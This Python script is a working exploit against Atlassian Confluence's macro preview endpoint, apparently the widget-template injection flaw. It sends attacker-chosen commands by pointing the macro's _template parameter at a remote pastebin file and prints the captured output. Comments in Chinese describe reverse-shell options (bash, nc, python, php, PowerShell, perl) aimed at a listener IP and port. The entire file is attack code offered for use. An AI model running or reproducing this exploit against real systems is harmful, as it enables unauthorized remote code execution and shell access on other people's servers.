#!/usr/bin/env python
#-*- coding: utf-8 -*-

import requests
import sys
import json
import re
import base64

from json_parse import Jsonparse
from json_parse import Reverse_shell



class Confluence(object):
    def __init__(self,ip,port,level,cmd):
        self.ip = ip
        self.port = port
        self.level = level
        self.cmd = cmd
    
    def exec_command(self):
        pot_url = 'http://'+str(self.ip)+':'+str(self.port)+"/rest/tinymce/1/macro/preview"
        headers = {
            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Connection": "close",
            "Referer": "http://"+str(self.ip)+':'+str(self.port)+"/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
            "Content-Type": "application/json; charset=utf-8"
        }
        data = '{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"https://pastebin.com/raw/RyUvk1h8",'
        data += '"cmd":"{}"'.format(self.cmd)
        data += '}}}'
        try:
            req = requests.post(url = pot_url, data=data, headers = headers, timeout = self.level)
            shell = ''
            re_result = re.findall(r'<div class="wiki-content">([\s\S]*?)</div>',req.content)
            if len(re_result):
			    shell = re_result[0]
            print('<PRTINFOZHANG><' + base64.b64encode(shell) + '><PRTINFOZHANG>')
            print(req.status_code)
        except Exception as e:
            print (e)

if __name__ == '__main__':
    # 定义脚本参数接收
    # config.json:json文件的相对路径
    # ​	targetip：目标主机ip
    #  ​	targetPort：目标主机端口
    # ​	反弹shell类型： 
    # ​		1——bash反弹
    # ​		2——nc反弹
    # ​		3——python反弹
    # ​		4——php反弹
    # ​		5——windows powershell反弹
    # ​		6——常规命令的执行接口
    #       7——表示perl反弹shell
    # ​	listenIp——监听服务器ip
    # ​	listenPort——监听端口
    # ​	exec_cmd——用户可执行的shell命令，接口的形式，默认传一个值，否者会报错， 传入时一定要用引号引起来，不然空格会当成多个参数使用
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetIp = sys.argv[2]
    timeout = jsondata['timeout3']
    targetPort = sys.argv[3]
    
    reverseType = sys.argv[4]
    listenIp = sys.argv[5]
    listenPort = sys.argv[6]
    exec_cmd = sys.argv[7]

    # 实例化反弹shell参数的对象
    reverse_shell = Reverse_shell(listenIp, listenPort, int(reverseType), exec_cmd)
    # 获取反弹shell的payload
    cmd = reverse_shell.select_type()
    # print(cmd)

    Scanner = Confluence(targetIp, int(targetPort), timeout, cmd)
    #判断reverseType类型是反弹shell，还是执行命令
    if int(reverseType) == 6:
        Scanner.exec_command()